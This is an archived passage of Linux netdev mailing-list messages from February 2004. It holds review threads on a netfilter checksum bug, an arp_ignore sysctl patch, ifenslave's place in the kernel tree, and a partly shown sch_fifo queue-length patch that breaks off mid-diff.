protocol="application/pgp-signature"; boundary="H83aLI5Lttn3Hg7B" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --H83aLI5Lttn3Hg7B Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Feb 14, 2004 at 01:37:23PM -0500, James Morris wrote: > This patch fixes a bug with with multicast/broadcast packets, > Netfilter, and NICs which do hardware checksums. >=20 > Please review. =20 I'm fine with that patch, James. Maybe it's worth adding a short one-line comment stating why a clone is not sufficient here. > James Morris --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --H83aLI5Lttn3Hg7B Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFALmr3XaXGVTD0i/8RAnMfAJwIV/1bsCPYktMCi2e11ppj01ry1gCgjvGf 6gckEOaCSnl2lAGM3xtNuW0= =tRAy -----END PGP SIGNATURE----- --H83aLI5Lttn3Hg7B-- From mika.penttila@kolumbus.fi Sat Feb 14 11:02:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 11:02:43 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EJ2cKO014024 for ; Sat, 14 Feb 2004 11:02:39 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004021421044532:6259 ; Sat, 14 Feb 2004 21:04:45 +0200 Message-ID: <402E71E2.1040508@kolumbus.fi> Date: Sat, 14 Feb 2004 21:07:14 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Morris CC: "David S. Miller" , Harald Welte , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 14.02.2004 21:04:45, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 14.02.2004 21:04:01, Serialize complete at 14.02.2004 21:04:01 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; format=flowed X-archive-position: 3303 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev James Morris wrote: >This patch fixes a bug with with multicast/broadcast packets, >Netfilter, and NICs which do hardware checksums. > >Outgoing multicast and broadcast packets are cloned prior to being fed >into the postrouting hook and looped back. A problem is caused when the >shared packet data is modified by the netfilter core code when updating >the checksum, but the skb->ip_summed field in the header of the original >skb is not updated. The NIC then tries to do a hardware checksum on an >already correct checksum, and we end up transmitting the wrong thing. > >This bug stops things like DHCP from working, and was noted under SELinux >which uses the postrouting hook alone. > >The proposed solution below is to copy the skb rather than clone it, to >ensure that the original and looped back packets are independent. > >Please review. > >(A similar problem seems to exist in the IPv6 code, although not >verified yet). > > >- James > This is unneeded overhead for the common case. The right fix is to make sure the modifier (netfilter etc) makes the copy if needed. Actually, this is what skb_ip_make_writable() is doing. --Mika From davem@redhat.com Sat Feb 14 12:37:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 12:38:04 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EKbwKO018073 for ; Sat, 14 Feb 2004 12:37:58 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1EKbrb21897; Sat, 14 Feb 2004 15:37:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1EKbri24359; Sat, 14 Feb 2004 15:37:53 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1EKbokC013769; Sat, 14 Feb 2004 15:37:51 -0500 Date: Sat, 14 Feb 2004 12:37:51 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040214123751.4c080f14.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211201656.4e4f708e.davem@redhat.com> <20040213232400.007a7436.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 14 Feb 2004 14:03:06 +0200 (EET) Julian Anastasov wrote: > On Fri, 13 Feb 2004, David S. Miller wrote: > > > > http://www.ssi.bg/~ja/arp_announce-2.6.2-4.diff > > > > Ok, I eat this, please make a 2.4.x version against Marcelo's current tree. > > Attached, against rc2 which looks enough. Applying, thanks. From davem@redhat.com Sat Feb 14 12:50:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 12:50:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EKo7KO018542 for ; Sat, 14 Feb 2004 12:50:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1EKo0b24669; Sat, 14 Feb 2004 15:50:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1EKo0i26955; Sat, 14 Feb 2004 15:50:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1EKnvkC018027; Sat, 14 Feb 2004 15:49:58 -0500 Date: Sat, 14 Feb 2004 12:49:58 -0800 From: "David S. Miller" To: hadi@cyberus.ca Cc: kaber@trash.net, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040214124958.499294a6.davem@redhat.com> In-Reply-To: <1076766981.1059.16.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> <1076766981.1059.16.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 14 Feb 2004 08:56:21 -0500 jamal wrote: > And the closest to a sane patch in 30 secs that compiles is attached > to describe the idea. I don't know how wise this tx_queue_len fiddling is. With this, if user modifies tx_queue_len himself, on ifdown this configuration change is lost if user sets it explicitly to '1'. See? In fact you could call it corruption :-) I think Alexey maybe meant something different, achieving the ends by some other means than directly fiddling with tx_queue_len. From davem@redhat.com Sat Feb 14 15:00:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 15:00:56 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EN0nKO020029 for ; Sat, 14 Feb 2004 15:00:49 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1EN0hb21043; Sat, 14 Feb 2004 18:00:43 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1EN0hi21151; Sat, 14 Feb 2004 18:00:43 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1EN0ekC014607; Sat, 14 Feb 2004 18:00:41 -0500 Date: Sat, 14 Feb 2004 15:00:41 -0800 From: "David S. Miller" To: Mika =?ISO-8859-1?Q?Penttil=E4?= Cc: jmorris@redhat.com, laforge@netfilter.org, netdev@oss.sgi.com, sds@epoch.ncsc.mil Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Message-Id: <20040214150041.5f6e7ef2.davem@redhat.com> In-Reply-To: <402E71E2.1040508@kolumbus.fi> References: <402E71E2.1040508@kolumbus.fi> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1EN0nKO020029 X-archive-position: 3306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 14 Feb 2004 21:07:14 +0200 Mika Penttilä wrote: > This is unneeded overhead for the common case. The right fix is to make > sure the modifier (netfilter etc) makes the copy if needed. Actually, > this is what skb_ip_make_writable() is doing. I totally agree. In postrouting hook, the handler must unshare the SKB if it wishes to modify the packet contents. It sounds to me like the selinux hooks are not doing this, and as suggested they should look at using the routine skb_ip_make_writable() which was designed by Rusty for this. From mika.penttila@kolumbus.fi Sun Feb 15 01:29:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 01:29:54 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1F9TfKO001900 for ; Sun, 15 Feb 2004 01:29:42 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004021511315303:6586 ; Sun, 15 Feb 2004 11:31:53 +0200 Message-ID: <402F3D1E.2020005@kolumbus.fi> Date: Sun, 15 Feb 2004 11:34:22 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: James Morris CC: "David S. Miller" , Harald Welte , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook References: In-Reply-To: X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 15.02.2004 11:31:53, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 15.02.2004 11:31:04, Serialize complete at 15.02.2004 11:31:04 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1F9TfKO001900 X-archive-position: 3307 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev James Morris wrote: >On Sat, 14 Feb 2004, Mika Penttilä wrote: > > > >>James Morris wrote: >> >> >> >>>The proposed solution below is to copy the skb rather than clone it, to >>>ensure that the original and looped back packets are independent. >>> >>> >>> >>This is unneeded overhead for the common case. The right fix is to make >>sure the modifier (netfilter etc) makes the copy if needed. Actually, >>this is what skb_ip_make_writable() is doing. >> >> > >The common case here will be only for locally generated multicast and >broadcast packets. > >If the netfilter core code is modified instead, we will end up adding >skb_ip_make_writable() to nf_hook_slow() which will be called for every >packet with an output device which uses hardware checksums. > >Not sure which is worse, but here's a proposed patch which does this. > > >- James > I don't see the context here. Where is the packet mangled? Why isn't that instance doing skb_ip_make_writable()? selinux? Not everyone generating locally multicast/broadcast packets is using selinux... --Mika From ja@ssi.bg Sun Feb 15 02:01:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 02:01:47 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FA1cKO002473 for ; Sun, 15 Feb 2004 02:01:40 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1FA4xq9006608; Sun, 15 Feb 2004 12:05:00 +0200 Date: Sun, 15 Feb 2004 12:04:59 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040211202251.7b05102c.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211202251.7b05102c.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Wed, 11 Feb 2004, David S. Miller wrote: > The hidden patch does a hundred different things, that's what makes > it so undigestable. :) > > Let us assume your arp_announce patch is applied. Given that, plus the > things you've mentioned, only a tiny piece of functionality is > really needed from that hidden patch. > > Why don't you extract out just the needed part, and toss together > an email with that patch explaining that specific behavior change? Appended is a patch for rich set of modes to ignore ARP requests (yes Dave, I got your flag name :)). It is on top of the arp_announce change. I hope, the main useful needs are represented, all other modes belong to user space tools. As for the IPVS like setups they have two choices to use arp_ignore combined with arp_announce: - to define virtual IPs on different interface and to use arp_ignore=1/2 and arp_announce=2 - or to use scope host IP addresses and to use arp_ignore=3 and arp_announce=2. Such addresses can be used as preferred source addresses in routes to talk with any remote host and at the same time we achieve per IP filtering. By this way applications that are not aware they are load balanced can use hidden addresses on ARP devices if they need these addresses there. As for the performance, modes 1, 2 and 3 are slow, they lookup for local IP addresses on one (mode 1 and 2) or all interfaces (mode 3). The same patch is also here: http://www.ssi.bg/~ja/tmp/arp_ignore-2.6.2-arp-1.diff Regards -- Julian Anastasov diff -ur v2.6.2-bk/linux/Documentation/networking/ip-sysctl.txt linux/Documentation/networking/ip-sysctl.txt --- v2.6.2-bk/linux/Documentation/networking/ip-sysctl.txt 2004-02-14 14:12:55.000000000 +0200 +++ linux/Documentation/networking/ip-sysctl.txt 2004-02-14 23:06:40.000000000 +0200 @@ -530,6 +530,24 @@ receiving answer from the resolved target while decreasing the level announces more valid sender's information. +arp_ignore - INTEGER + Define different modes for sending replies in response to + received ARP requests that resolve local target IP addresses: + 0 - (default): reply for any local target IP address, configured + on any interface + 1 - reply only if the target IP address is local address + configured on the incoming interface + 2 - reply only if the target IP address is local address + configured on the incoming interface and both with the + sender's IP address are part from same subnet on this interface + 3 - do not reply for local addresses configured with scope host, + only resolutions for global and link addresses are replied + 4-7 - reserved + 8 - do not reply for all local addresses + + The max value from conf/{all,interface}/arp_ignore is used + when ARP request is received on the {interface} + tag - INTEGER Allows you to write a number, which can be used as required. Default value is 0. diff -ur v2.6.2-bk/linux/include/linux/inetdevice.h linux/include/linux/inetdevice.h --- v2.6.2-bk/linux/include/linux/inetdevice.h 2004-02-14 14:12:55.000000000 +0200 +++ linux/include/linux/inetdevice.h 2004-02-14 23:38:56.000000000 +0200 @@ -19,6 +19,7 @@ int tag; int arp_filter; int arp_announce; + int arp_ignore; int medium_id; int no_xfrm; int no_policy; @@ -73,6 +74,7 @@ #define IN_DEV_ARPFILTER(in_dev) (ipv4_devconf.arp_filter || (in_dev)->cnf.arp_filter) #define IN_DEV_ARP_ANNOUNCE(in_dev) (max(ipv4_devconf.arp_announce, (in_dev)->cnf.arp_announce)) +#define IN_DEV_ARP_IGNORE(in_dev) (max(ipv4_devconf.arp_ignore, (in_dev)->cnf.arp_ignore)) struct in_ifaddr { @@ -99,6 +101,7 @@ extern struct in_device *inetdev_init(struct net_device *dev); extern struct in_device *inetdev_by_index(int); extern u32 inet_select_addr(const struct net_device *dev, u32 dst, int scope); +extern u32 inet_confirm_addr(const struct net_device *dev, u32 dst, u32 local, int scope); extern struct in_ifaddr *inet_ifa_byprefix(struct in_device *in_dev, u32 prefix, u32 mask); extern void inet_forward_change(void); diff -ur v2.6.2-bk/linux/include/linux/sysctl.h linux/include/linux/sysctl.h --- v2.6.2-bk/linux/include/linux/sysctl.h 2004-02-14 14:12:55.000000000 +0200 +++ linux/include/linux/sysctl.h 2004-02-14 23:40:12.000000000 +0200 @@ -363,6 +363,7 @@ NET_IPV4_CONF_NOPOLICY=16, NET_IPV4_CONF_FORCE_IGMP_VERSION=17, NET_IPV4_CONF_ARP_ANNOUNCE=18, + NET_IPV4_CONF_ARP_IGNORE=19, }; /* /proc/sys/net/ipv4/netfilter */ diff -ur v2.6.2-bk/linux/net/ipv4/arp.c linux/net/ipv4/arp.c --- v2.6.2-bk/linux/net/ipv4/arp.c 2004-02-14 14:12:55.000000000 +0200 +++ linux/net/ipv4/arp.c 2004-02-15 01:19:37.000000000 +0200 @@ -379,6 +379,42 @@ read_unlock_bh(&neigh->lock); } +static int arp_ignore(struct in_device *in_dev, struct net_device *dev, + u32 sip, u32 tip) +{ + int scope; + + switch (IN_DEV_ARP_IGNORE(in_dev)) { + case 0: /* Reply, the tip is already validated */ + return 0; + case 1: /* Reply only if tip is configured on the incoming interface */ + sip = 0; + scope = RT_SCOPE_HOST; + break; + case 2: /* + * Reply only if tip is configured on the incoming interface + * and is in same subnet as sip + */ + scope = RT_SCOPE_HOST; + break; + case 3: /* Do not reply for scope host addresses */ + sip = 0; + scope = RT_SCOPE_LINK; + dev = NULL; + break; + case 4: /* Reserved */ + case 5: + case 6: + case 7: + return 0; + case 8: /* Do not reply */ + return 1; + default: + return 0; + } + return !inet_confirm_addr(dev, sip, tip, scope); +} + static int arp_filter(__u32 sip, __u32 tip, struct net_device *dev) { struct flowi fl = { .nl_u = { .ip4_u = { .daddr = sip, @@ -789,7 +825,8 @@ /* Special case: IPv4 duplicate address detection packet (RFC2131) */ if (sip == 0) { if (arp->ar_op == htons(ARPOP_REQUEST) && - inet_addr_type(tip) == RTN_LOCAL) + inet_addr_type(tip) == RTN_LOCAL && + !arp_ignore(in_dev,dev,sip,tip)) arp_send(ARPOP_REPLY,ETH_P_ARP,tip,dev,tip,sha,dev->dev_addr,dev->dev_addr); goto out; } @@ -804,7 +841,10 @@ n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) { int dont_send = 0; - if (IN_DEV_ARPFILTER(in_dev)) + + if (!dont_send) + dont_send |= arp_ignore(in_dev,dev,sip,tip); + if (!dont_send && IN_DEV_ARPFILTER(in_dev)) dont_send |= arp_filter(sip,tip,dev); if (!dont_send) arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); diff -ur v2.6.2-bk/linux/net/ipv4/devinet.c linux/net/ipv4/devinet.c --- v2.6.2-bk/linux/net/ipv4/devinet.c 2004-02-14 14:12:55.000000000 +0200 +++ linux/net/ipv4/devinet.c 2004-02-15 11:46:20.380681736 +0200 @@ -809,6 +809,84 @@ goto out; } +static u32 confirm_addr_indev(struct in_device *in_dev, u32 dst, + u32 local, int scope) +{ + int same = 0; + u32 addr = 0; + + for_ifa(in_dev) { + if (!addr && + (local == ifa->ifa_local || !local) && + ifa->ifa_scope <= scope) { + addr = ifa->ifa_local; + if (same) + break; + } + if (!same) { + same = (!local || inet_ifa_match(local, ifa)) && + (!dst || inet_ifa_match(dst, ifa)); + if (same && addr) { + if (local || !dst) + break; + /* Is the selected addr into dst subnet? */ + if (inet_ifa_match(addr, ifa)) + break; + /* No, then can we use new local src? */ + if (ifa->ifa_scope <= scope) { + addr = ifa->ifa_local; + break; + } + /* search for large dst subnet for addr */ + same = 0; + } + } + } endfor_ifa(in_dev); + + return same? addr : 0; +} + +/* + * Confirm that local IP address exists using wildcards: + * - dev: only on this interface, 0=any interface + * - dst: only in the same subnet as dst, 0=any dst + * - local: address, 0=autoselect the local address + * - scope: maximum allowed scope value for the local address + */ +u32 inet_confirm_addr(const struct net_device *dev, u32 dst, u32 local, int scope) +{ + u32 addr = 0; + struct in_device *in_dev; + + if (dev) { + read_lock(&inetdev_lock); + if ((in_dev = __in_dev_get(dev))) { + read_lock(&in_dev->lock); + addr = confirm_addr_indev(in_dev, dst, local, scope); + read_unlock(&in_dev->lock); + } + read_unlock(&inetdev_lock); + + return addr; + } + + read_lock(&dev_base_lock); + read_lock(&inetdev_lock); + for (dev = dev_base; dev; dev = dev->next) { + if ((in_dev = __in_dev_get(dev))) { + read_lock(&in_dev->lock); + addr = confirm_addr_indev(in_dev, dst, local, scope); + read_unlock(&in_dev->lock); + if (addr) + break; + } + } + read_unlock(&inetdev_lock); + read_unlock(&dev_base_lock); + + return addr; +} + /* * Device notifier */ @@ -1132,7 +1210,7 @@ static struct devinet_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table devinet_vars[19]; + ctl_table devinet_vars[20]; ctl_table devinet_dev[2]; ctl_table devinet_conf_dir[2]; ctl_table devinet_proto_dir[2]; @@ -1260,6 +1338,14 @@ .proc_handler = &proc_dointvec, }, { + .ctl_name = NET_IPV4_CONF_ARP_IGNORE, + .procname = "arp_ignore", + .data = &ipv4_devconf.arp_ignore, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { .ctl_name = NET_IPV4_CONF_NOXFRM, .procname = "disable_xfrm", .data = &ipv4_devconf.no_xfrm, From hch@lst.de Sun Feb 15 02:03:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 02:03:11 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FA35KO002648 for ; Sun, 15 Feb 2004 02:03:06 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1FA2wQc025564 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 15 Feb 2004 11:02:58 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1FA2w9M025562; Sun, 15 Feb 2004 11:02:58 +0100 Date: Sun, 15 Feb 2004 11:02:58 +0100 From: Christoph Hellwig To: shmulik.hen@intel.com Cc: netdev@oss.sgi.com Subject: Why is ifenslave.c in the kernel tree? Message-ID: <20040215100258.GA25550@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3309 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev Just looking over the 2.6.3 diffs I see that ifenslave is actively maintained in Documenation/ of the kernel tree. Isn't that a _really_ odd place for a userland tool? We have a policy of not having any userland tools not used for building in the kernel tree, and especially none of the distributors will pick it up from there. From kaber@trash.net Sun Feb 15 02:29:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 15 Feb 2004 02:29:39 -0800 (PST) Received: from gw.localnet (port-212-202-185-225.reverse.qdsl-home.de [212.202.185.225]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1FATYKO003449 for ; Sun, 15 Feb 2004 02:29:35 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AsJX1-0000qj-00; Sun, 15 Feb 2004 11:29:47 +0100 Message-ID: <402F4A2D.1070405@trash.net> Date: Sun, 15 Feb 2004 11:30:05 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> <1076763997.1059.13.camel@jzny.localdomain> <1076766981.1059.16.camel@jzny.localdomain> <20040214124958.499294a6.davem@redhat.com> In-Reply-To: <20040214124958.499294a6.davem@redhat.com> Content-Type: multipart/mixed; boundary="------------030704030600030003030207" X-archive-position: 3310 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------030704030600030003030207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit David S. Miller wrote: > I don't know how wise this tx_queue_len fiddling is. > > With this, if user modifies tx_queue_len himself, on ifdown this configuration > change is lost if user sets it explicitly to '1'. See? In fact you could > call it corruption :-) > > I think Alexey maybe meant something different, achieving the ends by some other > means than directly fiddling with tx_queue_len. > I guess he meant something like this, but I still think it encourages broken configurations in combination with non-work-conserving schedulers. Regards, Patrick --------------030704030600030003030207 Content-Type: text/plain; name="x" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="x" ===== sch_fifo.c 1.7 vs edited ===== --- 1.7/net/sched/sch_fifo.c Wed Nov 19 02:37:34 2003 +++ edited/sch_fifo.c Sun Feb 15 11:06:08 2004 @@ -141,10 +141,12 @@ struct fifo_sched_data *q = (void*)sch->data; if (opt == NULL) { + unsigned int limit = sch->dev->tx_queue_len || 1; + if (sch->ops == &bfifo_qdisc_ops) - q->limit = sch->dev->tx_queue_len*sch->dev->mtu; + q->limit = limit*sch->dev->mtu; else - q->limit = sch->dev->tx_queue_len; + q->limit = limit; } else { struct tc_fifo_qopt *ctl = RTA_DATA(opt); if (opt->rta_len < RTA_LENGTH(sizeof(*ctl))) ===== sch_gred.c 1.13 vs edited ===== --- 1.13/net/sched/sch_gred.c Wed Nov 19 02:37:34 2003 +++ edited/sch_gred.c 